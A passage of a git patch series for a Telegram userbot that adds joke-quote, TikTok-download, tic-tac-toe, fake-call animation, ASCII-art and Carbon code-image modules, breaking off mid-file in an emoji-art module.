+ await event.edit("`\"If humans colonize the moon, it will probably attract retirement homes as the weaker gravity will allow the elderly to feel stronger.\"`")
+
+ if x==5:
+
+ await event.edit("`\"Any video with ?wait for it? in the title is simply too long.\"`")
+
+ if x==6:
+
+ await event.edit("`\"Your age in years is how many times you?ve circled the Sun, but your age in months is how many times the Moon has circled you.\"`")
+
+ if x==7:
+
+ await event.edit("`\"Biting your tongue while eating is a perfect example of how you can still screw up, even with decades of experience.\"`")
+
+ if x==8:
+
+ await event.edit("`\"Saying that your home is powered by a wireless Nuclear fusion reactor that is 93 Million miles away sounds way cooler than just saying you have solar panels on your roof.\"`")
+
+ if x==9:
+
+ await event.edit("`\"The most crushing feeling is when someone smiles at you on the street and you don?t react fast enough to smile back.\"`")
+
+ if x==10:
+
+ await event.edit("`\"Teeth constantly require maintenance to prevent their decay when alive, and yet they manage to survive for thousands of years buried as fossils.\"`")
+
+ if x==11:
+
+ await event.edit("`\"A folder is for things that you don't want to fold.\"`")
+
+ if x==12:
+
+ await event.edit("`\"Waking up in the morning sometimes feels like resuming a shitty movie you decided to quit watching.\"`")
+
+ if x==13:
+
+ await event.edit("`\"If everything goes smoothly, you probably won't remember today.\"`")
+
+ if x==14:
+
+ await event.edit("`\"When you meet new people in real life, you unlock more characters for your dream world.\"`")
+
+ if x==15:
+
+ await event.edit("`\"Maybe if they renamed sunscreen to ?anti-cancer cream? more people would wear it.\"`")
+
+ if x==16:
+
+ await event.edit("`\"200 years ago, people would never have guessed that humans in the future would communicate by silently tapping on glass.\"`")
+
+ if x==17:
+
+ await event.edit("`\"Parents worry about what their sons download and worry about what their daughters upload.\"`")
+
+ if x==18:
+
+ await event.edit("`\"It's crazy how you can be the same age as someone, but at a completely different stage in your life.\"`")
+
+ if x==19:
+
+ await event.edit("`\"When you think you wanna die, you really don't wanna die, you just don't wanna live like this.\"`")
+
+ if x==20:
+
+ await event.edit("`\"Technically, no one has ever been in an empty room.\"`")
+
+ if x==21:
+
+ await event.edit("`\"An onion is the bass player of food. You would probably not enjoy it solo, but you?d miss it if it wasn?t there.\"`")
+
+ if x==22:
+
+ await event.edit("`\"We run everywhere in videogames because we're too lazy to walk, but In real life we walk everywhere because we're too lazy to run.\"`")
+
+ if x==23:
+
+ await event.edit("`\"Every single decision you ever made has brought you to read this sentence.\"`")
+
+ if x==24:
+
+ await event.edit("`\"The word 'quiet' is often said very loud.\"`")
+
+ if x==25:
+
+ await event.edit("`\"Everybody wants you to work hard, but nobody wants to hear about how hard you work.\"`")
+
+ if x==26:
+
+ await event.edit("`\"We brush our teeth with hair on a stick and brush our hair with teeth on a stick.\"`")
+
+ if x==27:
+
+ await event.edit("`\"No one remembers your awkward moments but they?re too busy remembering their own.\"`")
+
+ if x==28:
+
+ await event.edit("`\"Dumb people try to say simple ideas as complex as possible while smart people try to say complex ideas as simple as possible.\"`")
+
+ if x==29:
+
+ await event.edit("`\"Some people think they're better than you because they grew up richer. Some people think they're better than you because they grew up poorer.\"`")
+
+ if x==30:
+
+ await event.edit("`\"The biggest irony is that computers & mobiles were invented to save out time!\"`")
+
+ if x==31:
+
+ await event.edit("`\"After honey was first discovered, there was likely a period where people were taste testing any available slime from insects.\"`")
+
+ if x==32:
+
+ await event.edit("`\"You know you?re getting old when your parents start disappointing you, instead of you disappointing them.\"`")
+
+ if x==33:
+
+ await event.edit("`\"Humans are designed to learn through experience yet the education system has made it so we get no experience.\"`")
+
+ if x==34:
+
+ await event.edit("`\"By focusing on blinking, you blink slower... Same for breathing.\"`")
+
+ if x==35:
+
+ await event.edit("`\"Drivers in a hurry to beat traffic usually cause the accidents which create the traffic they were trying to avoid.\"`")
+
+ if x==36:
+
+ await event.edit("`\"Characters that get married in fiction were literally made for each other.\"`")
+
+ if x==37:
+
+ await event.edit("`\"Babies are a clean hard drive that can be programmed with any language.\"`")
+
+ if x==38:
+
+ await event.edit("`\"There could be a miracle drug that cures every disease to man, that we'll never know about because it doesn't work on rats.\"`")
+
+ if x==39:
+
+ await event.edit("`\"Rhinos evolved to grow a horn for protection, but it's what's making them go extinct.\"`")
+
+ if x==40:
+
+ await event.edit("`\"Maybe we don't find time travelers because we all die in 25-50 years.\"`")
+
+ if x==41:
+
+ await event.edit("`\"Sleep is the trial version of death, It even comes with ads based on your activity.\"`")
+
+ if x==42:
+
+ await event.edit("`\"The most unrealistic thing about Spy movies is how clean the air ventilation system is!\"`")
+
+ if x==43:
+
+ await event.edit("`\"In games we play through easy modes to unlock hard modes. In life we play through hard modes to unlock easy modes.\"`")
+
+ if x==44:
+
+ await event.edit("`\"Silent people seem smarter than loud people, because they keep their stupid thoughts to themselves.\"`")
+
+ if x==45:
+
+ await event.edit("`\"If Greenland actually turns green, we're all screwed.\"`")
+
+ if x==46:
+
+ await event.edit("`\"If someone says clever things in your dream, it actually shows your own cleverness.\"`")
+
+ if x==47:
+
+ await event.edit("`\"Famous movie quotes are credited to the actor and not the actual writer who wrote them.\"`")
+
+ if x==48:
+
+ await event.edit("`\"No one actually teaches you how to ride a bicycle. They just hype you up until you work it out.\"`")
+
+ if x==49:
+
+ await event.edit("`\"Ask yourself why the the brain ignores the second the.\"`")
+
+ if x==50:
+
+ await event.edit("`\"You?ve probably forgot about 80% of your entire life and most of the memories you do remember are not very accurate to what actually happened.\"`")
+
+ if x==51:
+
+ await event.edit("`\"It will be a lot harder for kids to win against their parents in video games in the future.\"`")
+
+ if x==52:
+
+ await event.edit("`\"Everyone has flaws, if you don't recognize yours, you have a new one.\"`")
+
+ if x==53:
+
+ await event.edit("`\"Raising a child is training your replacement.\"`")
+
+ if x==54:
+
+ await event.edit("`\"'O'pen starts with a Closed circle, and 'C'lose starts with an open circle.\"`")
+
+ if x==55:
+
+ await event.edit("`\"There's always someone who hated you for no reason, and still does.\"`")
+
+ if x==56:
+
+ await event.edit("`\"After popcorn was discovered, there must have been a lot of random seeds that were roasted to see if it would have the same effect.\"`")
+
+ if x==57:
+
+ await event.edit("`\"The more important a good night's sleep is, the harder it is to fall asleep.\"`")
+
+ if x==58:
+
+ await event.edit("`\"Blessed are those that can properly describe the type of haircut they want to a new stylist.\"`")
+
+ if x==59:
+
+ await event.edit("`\"Too many people spend money they haven't earned, to buy things they don't want, to impress people they don't like!\"`")
+
+ if x==60:
+
+ await event.edit("`\"Theme park employees must be good at telling the difference between screams of horror and excitement.\"`")
+
+ if x==61:
+
+ await event.edit("`\"6 to 6:30 feels more half-an-hour than 5:50 to 6:20\"`")
+
+ if x==62:
+
+ await event.edit("`\"Getting your password right on the last login attempt before lockout is the closest thing to disarming a bomb at the last minute that most of us will experience.\"`")
+
+ if x==63:
+
+ await event.edit("`\"Listening to podcasts before bed is the adult version of story-time.\"`")
+
+ if x==64:
+
+ await event.edit("`\"If all criminals stopped robbing then the security industry would fall in which they could then easily go back to robbing.\"`")
+
+ if x==65:
+
+ await event.edit("`\"A ton of whales is really only like half a whale.\"`")
+
+ if x==66:
+
+ await event.edit("`\"When you get old, the old you is technically the new you, and your young self is the old you.\"`")
+
+ if x==67:
+
+ await event.edit("`\"You probably won't find many negative reviews of parachutes on the Internet.\"`")
+
+ if x==68:
+
+ await event.edit("`\"We show the most love and admiration for people when they're no longer around to appreciate it.\"`")
+
+ if x==69:
+
+ await event.edit("`\"We've practiced sleeping thousands of times, yet can't do it very well or be consistent.\"`")
+
+ if x==70:
+
+ await event.edit("`\"Humans are more enthusiastic about moving to another planet with hostile environment than preserving earth - the planet they are perfectly shaped for.\"`")
+
+ if x==71:
+
+ await event.edit("`\"The happiest stage of most people's lives is when their brains aren't fully developed yet.\"`")
+
+ if x==72:
+
+ await event.edit("`\"The most effective alarm clock is a full bladder.\"`")
+
+ if x==73:
+
+ await event.edit("`\"You probably just synchronized blinks with millions of people.\"`")
+
+ if x==74:
+
+ await event.edit("`\"Since we test drugs on animals first, rat medicine must be years ahead of human medicine.\"`")
+
+ if x==75:
+
+ await event.edit("`\"Night before a day off is more satisfying than the actual day off.\"`")
+
+ if x==76:
+
+ await event.edit("`\"We put paper in a folder to keep it from folding.\"`")
+
+ if x==77:
+
+ await event.edit("`\"Somewhere, two best friends are meeting for the first time.\"`")
+
+ if x==78:
+
+ await event.edit("`\"Our brain simultaneously hates us, loves us, doesn't care about us, and micromanages our every move.\"`")
+
+ if x==79:
+
+ await event.edit("`\"Being a male is a matter of birth. Being a man is a matter of age. But being a gentleman is a matter of choice.\"`")
+
+ if x==80:
+
+ await event.edit("`\"Soon the parents will be hiding their social account from their kids rather than kids hiding their accounts from the parents.\"`")
+
+ if x==81:
+
+ await event.edit("`\"Wikipedia is what the internet was meant to be.\"`")
+
+ if x==82:
+
+ await event.edit("`\"A theme park is the only place that you can hear screams in the distance and not be concerned.\"`")
+
+ if x==83:
+
+ await event.edit("`\"A wireless phone charger offers less freedom of movement than a wired one.\"`")
+
+ if x==84:
+
+ await event.edit("`\"If you repeatedly criticize someone for liking something you don't, they won't stop liking it. They'll stop liking you.\"`")
+
+ if x==85:
+
+ await event.edit("`\"Somewhere there is a grandmother, whose grandson really is the most handsome boy in the world.\"`")
+
+ if x==86:
+
+ await event.edit("`\"If someday human teleportation becomes real, people will still be late for work.\"`")
+
+ if x==87:
+
+ await event.edit("`\"The first humans who ate crabs must have been really hungry to try and eat an armored sea spider\"`")
+
+ if x==88:
+
+ await event.edit("`\"Doing something alone is kind of sad, but doing it solo is cool af.\"`")
+
+ if x==89:
+
+ await event.edit("`\"Your brain suddenly becomes perfect at proofreading after you post something.\"`")
+
+ if x==90:
+
+ await event.edit("`\"There's always that one song in your playlist that you always skip but never remove.\"`")
+
+ if x==91:
+
+ await event.edit("`\"Kids next century will probably hate us for taking all the good usernames.\"`")
+
+ if x==92:
+
+ await event.edit("`\"Bubbles are to fish what rain is to humans.\"`")
+
+ if x==93:
+
+ await event.edit("`\"The more people you meet, the more you realise and appreciate how well your parents raised you.\"`")
+
+ if x==94:
+
+ await event.edit("`\"A comma is a short pause, a coma is a long pause.\"`")
+
+ if x==95:
+
+ await event.edit("`\"Someday you will either not wake up or not go to sleep.\"`")
+
+ if x==96:
+
+ await event.edit("`\"Bermuda Triangle might be the exit portal of this simulation.\"`")
+
+ if x==97:
+
+ await event.edit("`\"If we put solar panels above parking lots, then our cars wouldn't get hot and we would have a lot of clean energy.\"`")
+
+ if x==98:
+
+ await event.edit("`Do You Know, Some Mosquitos Became Ghosts, When you *Killed* Them...`")
+
+ if x==99:
+
+ await event.edit("`Do You Know, Mosquitoes has Teleportation Power...`")
+
+ if x==100:
+
+ await event.edit("`Do You Know, When you see a bearded Goat, that means you juat saw a *Smarter Goat* than YOU....`")
+
+ if x==101:
+
+ await event.edit("`Do You Know, when You give some ruppess to a Bus Conductor, He will give You a Piece of Paper, *Called Ticket*...`")
+
+ if x==102:
+
+ await event.edit("`Do You Know, Bus are called Bus, Because they are Bus....`")
+
+ if x==103:
+
+ await event.edit("`Do You Know, There's a Huge Difference between *Cartoon amd Anime*...`")
+
+ if x==104:
+
+ await event.edit("`Do You Know, We can't see Ghosts But Ghosts Can see Us...`")
From 949b32ba4dec925f8e6cca36aab88d2cfb0d478d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 18:52:48 +0530
Subject: [PATCH 057/838] Create tiktok.py
---
fridaybot/modules/tiktok.py | 106 ++++++++++++++++++++++++++++++++++++
1 file changed, 106 insertions(+)
create mode 100644 fridaybot/modules/tiktok.py
diff --git a/fridaybot/modules/tiktok.py b/fridaybot/modules/tiktok.py
new file mode 100644
index 00000000..20cc9eaa
--- /dev/null
+++ b/fridaybot/modules/tiktok.py
@@ -0,0 +1,106 @@
+""" tiktok downloaded plugin creted by @mrconfused and @sandy1709
+
+
+Dont edit credits """
+import datetime
+import asyncio
+from telethon import events
+from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError
+from telethon.tl.functions.account import UpdateNotifySettingsRequest
+from telethon.tl.functions.messages import ImportChatInviteRequest
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP
+
+@borg.on(admin_cmd("tti ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ d_link = event.pattern_match.group(1)
+ if ".com" not in d_link:
+ await event.edit("` I need a link to download something pro.`**(._.)**")
+ return
+ else:
+ await event.edit("downloading your video")
+ bot = "@HK_tiktok_BOT"
+
+ async with borg.conversation("@HK_tiktok_BOT") as conv:
+ try:
+ await conv.send_message(d_link)
+ cat1 = await conv.get_response()
+ details = await conv.get_response()
+ if details.text.startswith("Sorry"):
+ await borg.send_message(event.chat_id , "sorry . something went wrong" )
+ return
+ cat2 = await conv.get_response()
+ cat3 = await conv.get_response()
+ await borg.send_file(event.chat_id, details, caption = details.text)
+ await event.delete()
+ except YouBlockedUserError:
+ await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`")
+
+
+@borg.on(admin_cmd("ttv ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ d_link = event.pattern_match.group(1)
+ if ".com" not in d_link:
+ await event.edit("` I need a link to download something pro.`**(._.)**")
+ return
+ else:
+ await event.edit("doownloading your video")
+ bot = "@HK_tiktok_BOT"
+
+ async with borg.conversation("@HK_tiktok_BOT") as conv:
+ try:
+ await conv.send_message(d_link)
+ cat1 = await conv.get_response()
+ details = await conv.get_response()
+ if details.text.startswith("Sorry"):
+ await borg.send_message(event.chat_id , "sorry . something went wrong" )
+ return
+ cat2 = await conv.get_response()
+ cat3 = await conv.get_response()
+ await borg.send_file(event.chat_id, cat3)
+ await event.delete()
+ except YouBlockedUserError:
+ await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`")
+
+
+@borg.on(admin_cmd("wttv ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ d_link = event.pattern_match.group(1)
+ if ".com" not in d_link:
+ await event.edit("` I need a link to download something pro.`**(._.)**")
+ return
+ else:
+ await event.edit("doownloading your video")
+ bot = "@HK_tiktok_BOT"
+
+ async with borg.conversation("@HK_tiktok_BOT") as conv:
+ try:
+ await conv.send_message(d_link)
+ cat1 = await conv.get_response()
+ details = await conv.get_response()
+ if details.text.startswith("Sorry"):
+ await borg.send_message(event.chat_id , "sorry . something went wrong" )
+ return
+ cat2 = await conv.get_response()
+ cat3 = await conv.get_response()
+ await borg.send_file(event.chat_id, cat2)
+ await event.delete()
+ except YouBlockedUserError:
+ await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`")
+
+
+
+CMD_HELP.update({"tiktok": "`.tti` :\
+ \nUSAGE: Shows you the information of the given tiktok video link.\
+ \n\n `.ttv ` \
+ \nUSAGE: Sends you the tiktok video of the given link without watermark\
+ \n\n `.wttv ` \
+ \n\nUSAGE: Sends you the tiktok video of the given link with watermark\
+ "
+})
From a570bc6373a6818f7a2d255e97e0e89ac3900909 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 18:57:07 +0530
Subject: [PATCH 058/838] Create games.py
---
fridaybot/modules/games.py | 48 ++++++++++++++++++++++++++++++++++++++
1 file changed, 48 insertions(+)
create mode 100644 fridaybot/modules/games.py
diff --git a/fridaybot/modules/games.py b/fridaybot/modules/games.py
new file mode 100644
index 00000000..f49d335e
--- /dev/null
+++ b/fridaybot/modules/games.py
@@ -0,0 +1,48 @@
+# Plugin made by @hellboi_atul for DARK COBRA..
+# You can use this..but don't edit/remove these comment lines..
+# This module is for playing tik tak toe game..
+# So wahi...Enjoy
+
+import re
+import random
+from fridaybot import bot
+from ..utils import admin_cmd
+
+IF_EMOJI = re.compile(
+ "["
+ "\U0001F1E0-\U0001F1FF" # flags (iOS)
+ "\U0001F300-\U0001F5FF" # symbols & pictographs
+ "\U0001F600-\U0001F64F" # emoticons
+ "\U0001F680-\U0001F6FF" # transport & map symbols
+ "\U0001F700-\U0001F77F" # alchemical symbols
+ "\U0001F780-\U0001F7FF" # Geometric Shapes Extended
+ "\U0001F800-\U0001F8FF" # Supplemental Arrows-C
+ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs
+ "\U0001FA00-\U0001FA6F" # Chess Symbols
+ "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A
+ "\U00002702-\U000027B0" # Dingbats
+ "]+")
+
+def deEmojify(inputString: str) -> str:
+ """Remove emojis and other non-safe characters from string"""
+ return re.sub(IF_EMOJI, '', inputString)
+
+
+@borg.on(admin_cmd(pattern="playxo(?: |$)(.*)"))
+
+async def nope(doit):
+ ok = doit.pattern_match.group(1)
+ if not ok:
+ if doit.is_reply:
+ what = (await doit.get_reply_message()).message
+
+ return
+ xoxoxo = await bot.inline_query(
+ "xobot", f"{(deEmojify(ok))}")
+ await xoxoxo[0].click(doit.chat_id,
+ reply_to=doit.reply_to_msg_id,
+ silent=True if doit.is_reply else False,
+ hide_via=True)
+ await doit.delete()
+
+
From 0e3203acbb813436bd7f20d7afc1184f1452b2e6 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 18:59:34 +0530
Subject: [PATCH 059/838] Create call.py
---
fridaybot/modules/call.py | 65 +++++++++++++++++++++++++++++++++++++++
1 file changed, 65 insertions(+)
create mode 100644 fridaybot/modules/call.py
diff --git a/fridaybot/modules/call.py b/fridaybot/modules/call.py
new file mode 100644
index 00000000..a2f87ddc
--- /dev/null
+++ b/fridaybot/modules/call.py
@@ -0,0 +1,65 @@
+"""Emoji
+
+Available Commands:
+
+.emoji shrug
+
+.emoji apple
+
+.emoji :/
+
+.emoji -_-"""
+
+from telethon import events
+
+import asyncio
+from ..utils import admin_cmd
+
+
+
+
+@borg.on(admin_cmd(pattern=r"call"))
+
+async def _(event):
+
+ if event.fwd_from:
+
+ return
+
+ animation_interval = 3
+
+ animation_ttl = range(0, 18)
+
+ # input_str = event.pattern_match.group(1)
+
+ # if input_str == "call":
+
+ await event.edit("Calling")
+
+ animation_chars = [
+
+ "`Connecting To Telegram Headquarters...`",
+ "`Call Connected.`",
+ "`Telegram: Hello This is Telegram HQ. Who is this?`",
+ "`Me: Yo this is` @[DARK_COBRA_SUPPORT](t.me/Dark_cobra_support) ,`Please Connect me to my idiot bro,Ayush Durov`",
+ "`User Authorised.`",
+ "`Calling Pavel Durov` `At +916969696969`",
+ "`Private Call Connected...`",
+ "`Me: Hello Sir, Please Ban This Telegram Account.`",
+ "`Pavel: May I Know Who Is This?`",
+ "`Me: Yo Brah, itz me` ",
+ "`Pavel: OMG!!! Long time no see, Wassup Brother...\nI'll Make Sure That Guy Account Will Get Banned Within 24Hrs.`",
+ "`Me: Thanks, See You Later Brah.`",
+ "`Pavel: Please Don't Thank Brah, Telegram Is Our's. Just Gimme A Call When You Become Free.`",
+ "`Me: Is There Any Issue/Emergency???`",
+ "`Pavel: Yes Sir, There Is A Bug In Telegram v69.6.9.\nI Am Not Able To Fix It. If Possible, Please Help Fix The Bug.`",
+ "`Me: Send Me The App On My Telegram Account, I Will Fix The Bug & Send You.`",
+ "`Pavel: Sure Sur \nTC Bye Bye ;)`",
+ "`Private Call Disconnected.`"
+ ]
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 18])
From 0886a626c6966cb153555033d4502535ad861a1b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:03:40 +0530
Subject: [PATCH 060/838] Create bigoof.py
---
fridaybot/modules/bigoof.py | 39 +++++++++++++++++++++++++++++++++++++
1 file changed, 39 insertions(+)
create mode 100644 fridaybot/modules/bigoof.py
diff --git a/fridaybot/modules/bigoof.py b/fridaybot/modules/bigoof.py
new file mode 100644
index 00000000..6c6e6da7
--- /dev/null
+++ b/fridaybot/modules/bigoof.py
@@ -0,0 +1,39 @@
+"""Available Commands:
+.bigoof
+Credits to @TeleBotHelp
+
+ TeleBot
+"""
+
+# Main Credits Goes to @T3b0N3
+# He Worked Very Hard to do this, So Please Respect Him!!
+from telethon import events
+
+import asyncio
+
+from ..utils import admin_cmd
+
+@borg.on(admin_cmd("bigoof"))
+async def _(event):
+ if event.fwd_from:
+ return
+ animation_interval = 0.1
+ animation_ttl = range(0,36)
+ #input_str = event.pattern_match.group(1)
+ # if input_str == "nope":
+ await event.edit("┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛")
+ animation_chars = [
+ "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ",
+ "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯",
+ "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯",
+ "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯",
+ "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯",
+ "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯",
+ "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯"
+ ]
+
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+ await event.edit(animation_chars[i % 40])
From 565ae85b8c028e318fb2c289faf56f4f58168d56 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:05:41 +0530
Subject: [PATCH 061/838] Create carbonRGB.py
---
fridaybot/modules/carbonRGB.py | 119 +++++++++++++++++++++++++++++++++
1 file changed, 119 insertions(+)
create mode 100644 fridaybot/modules/carbonRGB.py
diff --git a/fridaybot/modules/carbonRGB.py b/fridaybot/modules/carbonRGB.py
new file mode 100644
index 00000000..eeb8d36b
--- /dev/null
+++ b/fridaybot/modules/carbonRGB.py
@@ -0,0 +1,119 @@
+"""Carbon Scraper Plugin for Userbot. //text in creative way.
+usage: .karb //as a reply to any text message
+
+Thanks to dev for THIS PLUGIN"""
+
+from selenium.webdriver.support.ui import Select
+from selenium.webdriver.chrome.options import Options
+from selenium import webdriver
+from telethon import events
+from urllib.parse import quote_plus
+from urllib.error import HTTPError
+from time import sleep
+import asyncio
+import os
+import random
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP
+
+#@borg.on(events.NewMessage(pattern=r"\.karb ", outgoing=True))
+@borg.on(admin_cmd(pattern="karb"))
+async def carbon_api(e):
+ RED = random.randint(0,256)
+ GREEN = random.randint(0,256)
+ BLUE = random.randint(0,256)
+ THEME= [ "3024-night",
+ "a11y-dark",
+ "blackboard",
+ "base16-dark",
+ "base16-light",
+ "cobalt",
+ "dracula",
+ "duotone-dark",
+ "hopscotch",
+ "lucario",
+ "material",
+ "monokai",
+ "night-owl",
+ "nord",
+ "oceanic-next",
+ "one-light",
+ "one-dark",
+ "panda-syntax",
+ "paraiso-dark",
+ "seti",
+ "shades-of-purple",
+ "solarized",
+ "solarized%20light",
+ "synthwave-84",
+ "twilight",
+ "verminal",
+ "vscode",
+ "yeti",
+ "zenburn",
+]
+
+ CUNTHE = random.randint(0, len(THEME) - 1)
+ The = THEME[CUNTHE]
+
+
+ if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"):
+ """ A Wrapper for carbon.now.sh """
+ await e.edit("⬜⬜⬜⬜⬜")
+ CARBON = 'https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}'
+ CARBONLANG = "en"
+ textx = await e.get_reply_message()
+ pcode = e.text
+ if pcode[6:]:
+ pcode = str(pcode[6:])
+ elif textx:
+ pcode = str(textx.message) # Importing message to module
+ code = quote_plus(pcode) # Converting to urlencoded
+ url = CARBON.format(code=code, R=RED, G=GREEN, B=BLUE, T=The, lang=CARBONLANG)
+ chrome_options = Options()
+ chrome_options.add_argument("--headless")
+ chrome_options.binary_location = Config.GOOGLE_CHROME_BIN
+ chrome_options.add_argument("--window-size=1920x1080")
+ chrome_options.add_argument("--disable-dev-shm-usage")
+ chrome_options.add_argument("--no-sandbox")
+ chrome_options.add_argument('--disable-gpu')
+ prefs = {'download.default_directory' : './'}
+ chrome_options.add_experimental_option('prefs', prefs)
+ await e.edit("⬛⬛⬜⬜⬜")
+
+ driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options)
+ driver.get(url)
+ download_path = './'
+ driver.command_executor._commands["send_command"] = ("POST", '/session/$sessionId/chromium/send_command')
+ params = {'cmd': 'Page.setDownloadBehavior', 'params': {'behavior': 'allow', 'downloadPath': download_path}}
+ command_result = driver.execute("send_command", params)
+
+ driver.find_element_by_xpath("//button[contains(text(),'Export')]").click()
+ sleep(5) # this might take a bit.
+ #driver.find_element_by_xpath("//button[contains(text(),'4x')]").click()
+ #sleep(5)
+ await e.edit("⬛⬛⬛⬜⬜")
+ #driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click()
+ #sleep(5) #Waiting for downloading
+
+ await e.edit("⬛⬛⬛⬛⬛")
+ file = './carbon.png'
+ await e.edit("✅RGB Karbon Completed, Uploading...........")
+ await e.client.send_file(
+ e.chat_id,
+ file,
+ caption="Carbonised by [Dark-Cobra](https://github.com/DARK-COBRA/DARKCOBRA)",
+ force_document=False,
+ reply_to=e.message.reply_to_msg_id,
+ )
+
+ os.remove('./carbon.png')
+ # Removing carbon.png after uploading
+ await e.delete() # Deleting msg
+
+CMD_HELP.update(
+ {
+ "carbonRBG":
+ ".karb "
+ "\nCreate a cool random colorful carbon image for that text 😂😂(not work in media)"
+ })
From e3b02e9709f6bd4fc39000ce5ec39e4c81ed962a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:08:00 +0530
Subject: [PATCH 062/838] Create customs.py
---
fridaybot/modules/customs.py | 83 ++++++++++++++++++++++++++++++++++++
1 file changed, 83 insertions(+)
create mode 100644 fridaybot/modules/customs.py
diff --git a/fridaybot/modules/customs.py b/fridaybot/modules/customs.py
new file mode 100644
index 00000000..8245f896
--- /dev/null
+++ b/fridaybot/modules/customs.py
@@ -0,0 +1,83 @@
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP
+from fridaybot import bot
+
+
+@borg.on(admin_cmd(pattern=r"hhi ?(.*)")) #initially made by @NOOB_GUY_OP
+async def hhi(event):
+ giveVar = event.text
+ a = giveVar[5:6]
+ if not a:
+ a = "🌺"
+ b = giveVar[7:8]
+ if not b:
+ b = "✨"
+ await event.edit(
+ f"{a}{b}{b}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{a}{a}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{a}{a}{a}\n☁☁☁☁☁☁☁☁"
+ )
+# later made by me
+@borg.on(admin_cmd(pattern=r"gws?(.*)"))
+async def gws(event):
+ giveVar = event.text
+ '''m = giveVar[5:-1]
+ if not m:'''
